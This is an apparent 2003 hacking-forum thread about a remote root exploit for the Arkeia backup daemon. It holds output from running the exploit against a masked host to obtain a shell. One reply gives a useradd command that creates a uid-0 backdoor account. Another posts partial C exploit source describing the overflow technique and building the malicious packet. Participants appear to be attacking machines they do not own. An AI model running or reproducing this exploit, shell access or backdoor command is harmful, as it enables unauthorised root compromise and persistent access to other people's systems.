Strange sploit guys, i havent found a vulnerable box yet
Any guys also same probs as me described above?
GreetZ MauZ
QuadMedic
Sep 22 2003, 11:16 AM
lets try this one out,it's seems ok
elBartalo
Sep 22 2003, 08:12 PM
D:\>knox XXX.xxx.XXX.XXX1 [*] Connected to XXX.xxx.XXX.XXX1:617 [*] Connected to XXX.xxx.XXX.XXX1:617 [*] Sending nops+shellcode [*] Done, sleeping [*] Sending overflow [*] Done [*] Sleeping and connecting remote shell [*] Connected to XXX.xxx.XXX.XXX1:5074 [*] Success, enjoy SSH-1.99-OpenSSH_3.4p1 Debian_krb5 3.4p1-0woody3
Yeah i have a shell and now? Whats the commands on unix to list the disk?
Basti
Sep 23 2003, 06:31 AM
im interested in rehat commands , too , plz tell us noobs
elBartalo
Sep 23 2003, 09:48 AM
no basti i know the commands.... pwd, ls, ect but i need the commands to upload a ftp server that i´m understand "to list the disk" u know
tenka
Sep 23 2003, 11:59 PM
cd /usr/sbin ./useradd -u 0 -o -p gub nub
][no0b][
Sep 24 2003, 05:31 AM
lnx source :
CODE
/* * Knox Arkiea arkiead local/remote root exploit. * * Portbind 5074 shellcode * * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable. * * NULLs out least significant byte of EBP to pull EIP out of overflow buffer. * A previous request forces a large allocation of NOP's + shellcode in heap * memory. Find additional targets by searching the heap for NOP's after a * crash. safeaddr must point to any area of memory that is read/writable * and won't mess with program/shellcode flow. * * ./ark_sink host targetnum * [user@host dir]$ ./ark_sink 192.168.1.2 1 * [*] Connected to 192.168.1.2:617 * [*] Connected to 192.168.1.2:617 * [*] Sending nops+shellcode * [*] Done, sleeping * [*] Sending overflow * [*] Done * [*] Sleeping and connecting remote shell * [*] Connected to 192.168.1.2:5074 * [*] Success, enjoy * id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) * * */
fprintf(stderr, "Usage:\n./%s hostname target_num\n"); for (i = 0; targets[i].os; i++) fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os); exit(-1); }
int main( int argc, char **argv) {
/* first 2 bytes are a type 74 request */ /* last two bytes length */ char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff"; char data[512]; char sc_req[20000]; char *host; unsigned int tnum; unsigned int safeaddr; unsigned int ret; int datalen = LEN; int port = ARK_PORT; unsigned int addr = 0; int sock_overflow, sock_nops, sock_shell; int i;
// build data section of overflow packet memset(data, 0x90, datalen); for (i = 0; i < datalen; i += 4) memcpy(data+i, (char *)&ret, 4); // we overwrite a pointer that must be a valid address memcpy(data+datalen-12, (char *)&safeaddr, 4);